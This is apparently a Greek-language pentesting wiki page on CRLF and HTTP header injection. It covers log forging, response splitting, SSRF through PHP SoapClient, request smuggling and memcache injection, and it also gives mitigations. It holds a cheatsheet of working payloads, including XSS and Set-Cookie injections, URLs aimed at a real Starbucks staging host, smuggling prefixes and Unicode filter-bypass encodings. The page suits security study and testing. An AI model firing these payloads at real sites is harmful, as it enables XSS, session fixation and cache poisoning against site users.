CRLF (%0D%0A) Injection

Reading time: 14 minutes

CRLF

Ο χαρακτήρας Carriage Return (CR) και ο χαρακτήρας Line Feed (LF), συλλογικά γνωστοί ως CRLF, είναι ειδικές ακολουθίες χαρακτήρων που χρησιμοποιούνται στο πρωτόκολλο HTTP για να δηλώσουν το τέλος μιας γραμμής ή την αρχή μιας νέας. Οι διακομιστές ιστού και οι περιηγητές χρησιμοποιούν το CRLF για να διακρίνουν μεταξύ των HTTP headers και του σώματος μιας απάντησης. Αυτοί οι χαρακτήρες χρησιμοποιούνται καθολικά σε επικοινωνίες HTTP/1.1 σε διάφορους τύπους διακομιστών ιστού, όπως οι Apache και Microsoft IIS.

CRLF Injection Vulnerability

Η ένεση CRLF περιλαμβάνει την εισαγωγή χαρακτήρων CR και LF σε είσοδο που παρέχεται από τον χρήστη. Αυτή η ενέργεια παραπλανεί τον διακομιστή, την εφαρμογή ή τον χρήστη να ερμηνεύσει την εισαγόμενη ακολουθία ως το τέλος μιας απάντησης και την αρχή μιας άλλης. Ενώ αυτοί οι χαρακτήρες δεν είναι εγγενώς επιβλαβείς, η κακή χρήση τους μπορεί να οδηγήσει σε διαχωρισμό απάντησης HTTP και άλλες κακόβουλες δραστηριότητες.

Example: CRLF Injection in a Log File

Example from here

Σκεφτείτε ένα αρχείο καταγραφής σε ένα πάνελ διαχειριστή που ακολουθεί τη μορφή: IP - Χρόνος - Επισκεπτόμενος Δρόμος. Μια τυπική καταχώρηση μπορεί να φαίνεται έτσι:

123.123.123.123 - 08:15 - /index.php?page=home

Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί μια CRLF ένεση για να χειριστεί αυτό το αρχείο καταγραφής. Εισάγοντας χαρακτήρες CRLF στο HTTP αίτημα, ο επιτιθέμενος μπορεί να αλλάξει τη ροή εξόδου και να κατασκευάσει καταχωρήσεις καταγραφής. Για παράδειγμα, μια εισαχθείσα ακολουθία μπορεί να μετατρέψει την καταχώρηση καταγραφής σε:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Εδώ, %0d και %0a αντιπροσωπεύουν τις URL-κωδικοποιημένες μορφές CR και LF. Μετά την επίθεση, το αρχείο καταγραφής θα εμφανίζεται παραπλανητικά:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Ο επιτιθέμενος έτσι καλύπτει τις κακόβουλες δραστηριότητές του κάνοντάς το να φαίνεται ότι ο localhost (μια οντότητα που συνήθως εμπιστεύεται μέσα στο περιβάλλον του διακομιστή) εκτέλεσε τις ενέργειες. Ο διακομιστής ερμηνεύει το μέρος του ερωτήματος που ξεκινά με %0d%0a ως μία μόνο παράμετρο, ενώ η παράμετρος restrictedaction αναλύεται ως μια άλλη, ξεχωριστή είσοδος. Το παραποιημένο ερώτημα μιμείται αποτελεσματικά μια νόμιμη διοικητική εντολή: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Περιγραφή

Το HTTP Response Splitting είναι μια ευπάθεια ασφαλείας που προκύπτει όταν ένας επιτιθέμενος εκμεταλλεύεται τη δομή των HTTP απαντήσεων. Αυτή η δομή χωρίζει τις κεφαλίδες από το σώμα χρησιμοποιώντας μια συγκεκριμένη ακολουθία χαρακτήρων, Carriage Return (CR) ακολουθούμενη από Line Feed (LF), που ονομάζεται συλλογικά CRLF. Εάν ένας επιτιθέμενος καταφέρει να εισάγει μια ακολουθία CRLF σε μια κεφαλίδα απάντησης, μπορεί να χειριστεί αποτελεσματικά το περιεχόμενο της επόμενης απάντησης. Αυτός ο τύπος χειρισμού μπορεί να οδηγήσει σε σοβαρά ζητήματα ασφαλείας, κυρίως Cross-site Scripting (XSS).

XSS μέσω HTTP Response Splitting

1. Η εφαρμογή ορίζει μια προσαρμοσμένη κεφαλίδα όπως αυτή: X-Custom-Header: UserInput
2. Η εφαρμογή ανακτά την τιμή για το UserInput από μια παράμετρο ερωτήματος, ας πούμε "user_input". Σε σενάρια που λείπει η κατάλληλη επικύρωση και κωδικοποίηση εισόδου, ένας επιτιθέμενος μπορεί να δημιουργήσει ένα payload που περιλαμβάνει την ακολουθία CRLF, ακολουθούμενη από κακόβουλο περιεχόμενο.
3. Ένας επιτιθέμενος δημιουργεί μια διεύθυνση URL με μια ειδικά κατασκευασμένη 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

• Σε αυτή τη διεύθυνση URL, το %0d%0a%0d%0a είναι η URL-κωδικοποιημένη μορφή του CRLFCRLF. Εξαπατά τον διακομιστή να εισάγει μια ακολουθία CRLF, κάνοντάς τον να θεωρεί το επόμενο μέρος ως το σώμα της απάντησης.

4. Ο διακομιστής ανακλά την είσοδο του επιτιθέμενου στην κεφαλίδα απάντησης, οδηγώντας σε μια μη προγραμματισμένη δομή απάντησης όπου το κακόβουλο σενάριο ερμηνεύεται από τον περιηγητή ως μέρος του σώματος της απάντησης.

Ένα παράδειγμα HTTP Response Splitting που οδηγεί σε Ανακατεύθυνση

Από https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Περιηγητής σε:

/%0d%0aLocation:%20http://myweb.com

Και ο διακομιστής απαντά με την κεφαλίδα:

Location: http://myweb.com

Άλλο παράδειγμα: (από https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

Στο URL Path

Μπορείτε να στείλετε το payload μέσα στο URL path για να ελέγξετε την απάντηση από τον διακομιστή (παράδειγμα από εδώ):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Δείτε περισσότερα παραδείγματα στο:

bugbounty-cheatsheet/cheatsheets/crlf.md at master \xc2\xb7 EdOverflow/bugbounty-cheatsheet \xc2\xb7 GitHub

HTTP Header Injection

Η HTTP Header Injection, που συχνά εκμεταλλεύεται μέσω της CRLF (Carriage Return and Line Feed) injection, επιτρέπει στους επιτιθέμενους να εισάγουν HTTP headers. Αυτό μπορεί να υπονομεύσει μηχανισμούς ασφαλείας όπως τα φίλτρα XSS (Cross-Site Scripting) ή την SOP (Same-Origin Policy), ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση σε ευαίσθητα δεδομένα, όπως τα CSRF tokens, ή στη χειραγώγηση των συνεδριών χρηστών μέσω της τοποθέτησης cookies.

Exploiting CORS via HTTP Header Injection

Ένας επιτιθέμενος μπορεί να εισάγει HTTP headers για να ενεργοποιήσει το CORS (Cross-Origin Resource Sharing), παρακάμπτοντας τους περιορισμούς που επιβάλλει η SOP. Αυτή η παραβίαση επιτρέπει σε σενάρια από κακόβουλες προελεύσεις να αλληλεπιδρούν με πόρους από διαφορετική προέλευση, ενδεχομένως αποκτώντας πρόσβαση σε προστατευμένα δεδομένα.

SSRF and HTTP Request Injection via CRLF

Η CRLF injection μπορεί να χρησιμοποιηθεί για τη δημιουργία και την εισαγωγή ενός εντελώς νέου HTTP request. Ένα αξιοσημείωτο παράδειγμα αυτού είναι η ευπάθεια στην κλάση SoapClient της PHP, συγκεκριμένα μέσα στην παράμετρο user_agent. Με την παραποίηση αυτής της παραμέτρου, ένας επιτιθέμενος μπορεί να εισάγει επιπλέον headers και περιεχόμενο σώματος, ή ακόμη και να εισάγει ένα νέο HTTP request εντελώς. Παρακάτω είναι ένα παράδειγμα PHP που δείχνει αυτή την εκμετάλλευση:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection to Request Smuggling

Για περισσότερες πληροφορίες σχετικά με αυτή την τεχνική και τα πιθανά προβλήματα ελέγξτε την αρχική πηγή.

Μπορείτε να εισάγετε βασικούς κεφαλίδες για να διασφαλίσετε ότι ο back-end διατηρεί τη σύνδεση ανοιχτή μετά την απάντηση στο αρχικό αίτημα:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Μετά, μπορεί να καθοριστεί ένα δεύτερο αίτημα. Αυτό το σενάριο περιλαμβάνει συνήθως HTTP request smuggling, μια τεχνική όπου επιπλέον κεφαλίδες ή στοιχεία σώματος που προστίθενται από τον διακομιστή μετά την ένεση μπορούν να οδηγήσουν σε διάφορες εκμεταλλεύσεις ασφαλείας.

Εκμετάλλευση:

1. Εισαγωγή Κακόβουλου Προθέματος: Αυτή η μέθοδος περιλαμβάνει την δηλητηρίαση του αιτήματος του επόμενου χρήστη ή μιας διαδικτυακής μνήμης cache καθορίζοντας ένα κακόβουλο πρόθεμα. Ένα παράδειγμα αυτού είναι:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

2. Δημιουργία Προθέματος για Δηλητηρίαση Ουράς Απόκρισης: Αυτή η προσέγγιση περιλαμβάνει τη δημιουργία ενός προθέματος που, όταν συνδυαστεί με υπολείμματα, σχηματίζει ένα πλήρες δεύτερο αίτημα. Αυτό μπορεί να προκαλέσει δηλητηρίαση της ουράς απόκρισης. Ένα παράδειγμα είναι:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Injection

Το Memcache είναι μια αποθήκη κλειδιών-τιμών που χρησιμοποιεί ένα πρωτόκολλο καθαρού κειμένου. Περισσότερες πληροφορίες στο:

11211 - Pentesting Memcache

Για πλήρεις πληροφορίες διαβάστε την αρχική ανάλυση

Εάν μια πλατφόρμα λαμβάνει δεδομένα από ένα HTTP αίτημα και τα χρησιμοποιεί χωρίς απολύμανση για να εκτελέσει αιτήματα σε έναν διακομιστή memcache, ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτή τη συμπεριφορά για να εισάγει νέες εντολές memcache.

Για παράδειγμα, στην αρχικά ανακαλυφθείσα ευπάθεια, τα κλειδιά cache χρησιμοποιήθηκαν για να επιστρέψουν τη διεύθυνση IP και την πόρτα στην οποία θα έπρεπε να συνδεθεί ένας χρήστης, και οι επιτιθέμενοι μπόρεσαν να εισάγουν εντολές memcache που θα δηλητηρίαζαν την cache για να στείλουν τις λεπτομέρειες των θυμάτων (συμπεριλαμβανομένων των ονομάτων χρηστών και των κωδικών πρόσβασης) στους διακομιστές των επιτιθέμενων:

Επιπλέον, οι ερευνητές ανακάλυψαν επίσης ότι μπορούσαν να αποσυγχρονίσουν τις απαντήσεις memcache για να στείλουν τη διεύθυνση IP και τις πόρτες των επιτιθέμενων σε χρήστες των οποίων το email δεν γνώριζαν:

Πώς να Αποτρέψετε CRLF / HTTP Header Injections σε Ιστοσελίδες

Για να μετριάσετε τους κινδύνους των CRLF (Carriage Return and Line Feed) ή των HTTP Header Injections σε ιστοσελίδες, προτείνονται οι εξής στρατηγικές:

1. Αποφύγετε την Άμεση Είσοδο Χρήστη σε Κεφαλίδες Απόκρισης: Η ασφαλέστερη προσέγγιση είναι να αποφύγετε την ενσωμάτωση εισόδου που παρέχεται από τον χρήστη απευθείας σε κεφαλίδες απόκρισης.
2. Κωδικοποιήστε Ειδικούς Χαρακτήρες: Εάν η αποφυγή άμεσης εισόδου χρήστη δεν είναι εφικτή, βεβαιωθείτε ότι χρησιμοποιείτε μια συνάρτηση αφιερωμένη στην κωδικοποίηση ειδικών χαρακτήρων όπως CR (Carriage Return) και LF (Line Feed). Αυτή η πρακτική αποτρέπει την πιθανότητα εισαγωγής CRLF.
3. Ενημερώστε τη Γλώσσα Προγραμματισμού: Ενημερώνετε τακτικά τη γλώσσα προγραμματισμού που χρησιμοποιείται στις ιστοσελίδες σας στην τελευταία έκδοση. Επιλέξτε μια έκδοση που από τη φύση της απαγορεύει την εισαγωγή χαρακτήρων CR και LF μέσα σε συναρτήσεις που έχουν ανατεθεί να ρυθμίζουν τις κεφαλίδες HTTP.

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Πρόσφατες Ευπάθειες (2023 – 2025)

Τα τελευταία χρόνια έχουν παραχθεί αρκετά σφάλματα υψηλής επίπτωσης CRLF/HTTP header-injection σε ευρέως χρησιμοποιούμενα συστατικά server- και client-side. Η αναπαραγωγή και μελέτη τους τοπικά είναι ένας εξαιρετικός τρόπος κατανόησης των προτύπων εκμετάλλευσης στον πραγματικό κόσμο.

Αυτά τα σφάλματα είναι σημαντικά επειδή ενεργοποιούνται μέσα στον κωδικό επιπέδου εφαρμογής και όχι μόνο στην άκρη του web-server. Οποιοδήποτε εσωτερικό συστατικό που εκτελεί HTTP αιτήσεις ή ρυθμίζει headers απαντήσεων πρέπει επομένως να επιβάλλει φιλτράρισμα CR/LF.

Προχωρημένες Παράκαμψεις Unicode / Χαρακτήρων Ελέγχου

Οι σύγχρονοι WAF/rewriter στοίβες συχνά αφαιρούν το κυριολεκτικό \r/\n αλλά ξεχνούν άλλους χαρακτήρες που πολλές back-end εφαρμογές θεωρούν ως τερματιστές γραμμών. Όταν το CRLF φιλτράρεται, δοκιμάστε:

• %E2%80%A8 (U+2028 – LINE SEPARATOR)
• %E2%80%A9 (U+2029 – PARAGRAPH SEPARATOR)
• %C2%85 (U+0085 – NEXT LINE)

Ορισμένα frameworks Java, Python και Go τα μετατρέπουν σε \n κατά την ανάλυση headers (βλ. την έρευνα Praetorian του 2023). Συνδυάστε τα με κλασικά payloads:

/%0A%E2%80%A8Set-Cookie:%20admin=true

Αν το φίλτρο κανονικοποιεί πρώτα το UTF-8, ο χαρακτήρας ελέγχου μετατρέπεται σε κανονικό line-feed και η εισαγόμενη κεφαλίδα γίνεται αποδεκτή.

WAF Evasion via Duplicate Content-Encoding Trick (2023)

Οι ερευνητές της Praetorian έδειξαν επίσης ότι με την εισαγωγή:

%0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a

σε μια αντανάκλαση κεφαλίδας, οι φυλλομετρητές θα αγνοήσουν το σώμα που παρέχεται από τον διακομιστή και θα αποδώσουν το HTML που παρέχεται από τον επιτιθέμενο που ακολουθεί, δίνοντας αποθηκευμένο XSS ακόμη και όταν το περιεχόμενο της εφαρμογής είναι αδρανές. Επειδή το Content-Encoding: identity επιτρέπεται από το RFC 9110, πολλές αντίστροφες διακομιστές προώθησης το μεταφέρουν χωρίς αλλαγές.

Αυτόματα Εργαλεία

• CRLFsuite – γρήγορος ενεργός σαρωτής γραμμένος σε Go.
• crlfuzz – fuzzer βασισμένος σε λίστα λέξεων που υποστηρίζει payloads Unicode newline.
• crlfix – εργαλείο του 2024 που διορθώνει HTTP αιτήματα που παράγονται από προγράμματα Go και μπορεί να χρησιμοποιηθεί αυτόνομα για τη δοκιμή εσωτερικών υπηρεσιών.

Λίστα Ανίχνευσης Brute-Force

• carlospolop/Auto_Wordlists – crlf.txt

Αναφορές

• https://www.invicti.com/blog/web-security/crlf-http-header/
• https://www.acunetix.com/websitesecurity/crlf-injection/
• https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
• https://www.netsparker.com/blog/web-security/crlf-http-header/
• https://nvd.nist.gov/vuln/detail/CVE-2024-45302
• https://security.praetorian.com/blog/2023-unicode-newlines-bypass/